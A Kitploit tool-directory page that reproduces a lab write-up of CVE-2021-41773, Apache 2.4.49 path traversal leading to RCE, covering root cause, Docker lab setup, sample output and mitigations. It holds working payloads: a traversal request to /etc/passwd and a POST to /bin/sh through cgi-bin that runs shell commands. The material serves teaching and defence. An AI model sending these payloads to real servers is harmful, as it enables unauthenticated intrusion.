Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
APACHE-PATH-TRAVERSAL-RCE-CVE-2021-41773- — A comprehensive analysis of CVE-2021-41773 (Apache HTTP Server 2.4.49), featuring vulnerability research, controlled lab-based exploitation, Proof-of-Concept development, root cause analysis, and mitigation strategies for educational and defensive security purposes. | Kitploit
Tools/GitHubGitHub/abds059/apache-path-traversal-rce-cve-2021-41773-
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubabds059/apache-path-traversal-rce-cve-2021-41773-

APACHE-PATH-TRAVERSAL-RCE-CVE-2021-41773-

A comprehensive analysis of CVE-2021-41773 (Apache HTTP Server 2.4.49), featuring vulnerability research, controlled lab-based exploitation, Proof-of-Concept development, root cause analysis, and mitigation strategies for educational and defensive security purposes.

View Repository
55 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-41773 — Apache HTTP Server 2.4.49 Path Traversal / RCE

Apache CVE CVSS Python Docker Lab Only

Educational research project. All testing was performed in an isolated Docker lab. Do not use against any system you do not own.


Vulnerability Summary

FieldDetail
CVE IDCVE-2021-41773
Affected SoftwareApache HTTP Server 2.4.49 only
Vulnerability TypePath Traversal → Remote Code Execution
CVSS Score9.8 (Critical)
DisclosedOctober 2021
Fixed InApache 2.4.51

Root Cause

Apache 2.4.49 fails to correctly normalize URL-encoded path sequences (%2e%2e) before applying access control rules. This allows an attacker to traverse outside the web root. When CGI is enabled, pointing the traversal at /bin/sh and supplying shell commands via POST body results in unauthenticated Remote Code Execution.


Repository Contents

root@kitploit:~
cve-2021-41773-poc/
├── Dockerfile      # Intentionally vulnerable Apache 2.4.49 lab container
├── exploit.py      # Python PoC — uses raw sockets to preserve %2e encoding
├── SETUP.md        # Step-by-step lab setup guide
├── README.md       # This file
└── report.pdf      # Full exploit development report

Quick Start

1. Build and run the vulnerable container

root@kitploit:~
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449

2. Run the exploit

root@kitploit:~
python3 exploit.py

3. Expected output

root@kitploit:~
==================================================
 CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200

[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place

[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)

[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon

[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7

See SETUP.md for full setup instructions and troubleshooting.


How the Exploit Works

The requests library normalizes %2e → . before sending, which breaks the exploit (returns 400). This PoC uses raw sockets to send the HTTP request byte-for-byte, preserving the encoded traversal sequence exactly as Apache 2.4.49 needs to receive it.

Traversal payload:

root@kitploit:~
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1

RCE payload:

root@kitploit:~
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id

Apache fails to decode %2e%2e before ACL checks, processes the request, routes it through CGI, and executes the POST body as a shell command.


Mitigation

  • Upgrade Apache to 2.4.51 or later
  • Disable CGI unless strictly required
  • Never use Require all granted on /
  • Apply security patches promptly upon release

References

  • CVE-2021-41773 — MITRE
  • Apache Security Advisory
  • ExploitDB #50383
  • Rapid7 Analysis
  • PayloadsAllTheThings

Author

Abdur Rehman Siddiqui
Exploit Development — Task 3


This repository is for educational purposes only. The author is not responsible for any misuse of this material.

Download Tool